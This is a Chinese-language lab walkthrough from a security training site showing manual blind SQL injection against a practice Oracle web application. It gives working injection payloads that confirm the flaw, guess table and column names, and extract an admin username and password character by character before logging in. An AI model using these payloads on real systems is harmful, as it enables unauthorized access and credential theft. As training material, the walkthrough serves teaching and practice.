实战攻防
Oracle数据库手工盲注
2021-04-07 08:33

你是否正在收集各类网安网安知识学习,合天网安实验室为你总结了1300+网安技能任你学,点击获取免费靶场>> 


Oracle数据库系统是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品。是目前世界上使用最为广泛的数据库管理系统。基于“客户端/服务器”模式结构,客户端应用程序与用户交互,接收用户信息,并向服务器发送请求,服务器系统负责管理数据信息和各种操作数据的活动。


Oracle数据库特征:


1)支持多用户、大事务量的处理


2)数据安全性和完整性的有效控制


3)支持分布式数据处理


4)移植性强


本次实验使用的是Oracle Database Express Edition 11g Release 2。


Sql注入形成的主要原因是:


由于程序员的安全意识薄弱,在编写代码时没有对用户输入的特殊字符进行处理,导致将特殊字符附带在参数中直接与数据库进行交互。





由于对and,select等关键字没有过滤。所以接下来我们可以使用and,select等构造sql语句来得到管理员帐号密码。




操作开始,我们先进入实验题目地址 Oracle手工盲注


实验步骤一

1.首先我们判断一下有没有注入点,在公司新闻下打开一个新闻链接

1.png




2.网址后加and 1=1返回正常

2.png




3.加and 1=2返回错误,说明存在注入漏洞。

3.png




4.判断一下数据库中的表,网址后加上:and (select count(*) from admin) <>0返回正常,说明存在admin表。如果返回错误,可将admin改为username、manager等常用表名继续猜解。




5.判断下该网站下有几个管理员,如果有多个的话,成功入侵的几率就会加大

5.png


and (select count(*) from admin)=1,返回正常说明只有一个管理员。




6.已知表的前提下,判断表中字段结构


and (select count(name) from admin)>=0返回正常,说明存在name字段




and (select count(pass) from admin)>=0返回错误,说明不存在pass字段

7.png




经过猜测,存在pwd字段,




实验步骤二

7.接下来采用ASCII码折半法猜解管理员帐号和密码


判断管理员帐号的长度


and (select count(*) from admin where length(name)>=5)=1


说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较,即猜测是否由5个字符组成

8.png






8.and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1


说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a

9.png




and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1 结果为100,即字符d,重复上述过程,可以判断出帐号为admin




9.相同方法猜解密码


and (select count(*) from admin where length(pwd)>=8)=1,返回正常,即密码长度为8,此时可以判断密码应该为明文




and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1,返回正常,为字符a




and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1,返回正常,为字符d


......重复操作......


and (select count(*) from admin where ascii(substr(pwd,8,1))>=56)=1,返回正常,为数字8




完成上述操作可以确定帐号为:admin密码为:admin888


打开http://10.1.1.59/login.jsp,输入猜解出的用户名和密码

15.png




提示登录成功


上一篇:MISC 从标题中找信息
下一篇:尝试用代码解CTF题-找茬游戏
版权所有 合天智汇信息技术有限公司 2013-2021 湘ICP备14001562号-6
Copyright © 2013-2020 Heetian Corporation, All rights reserved
4006-123-731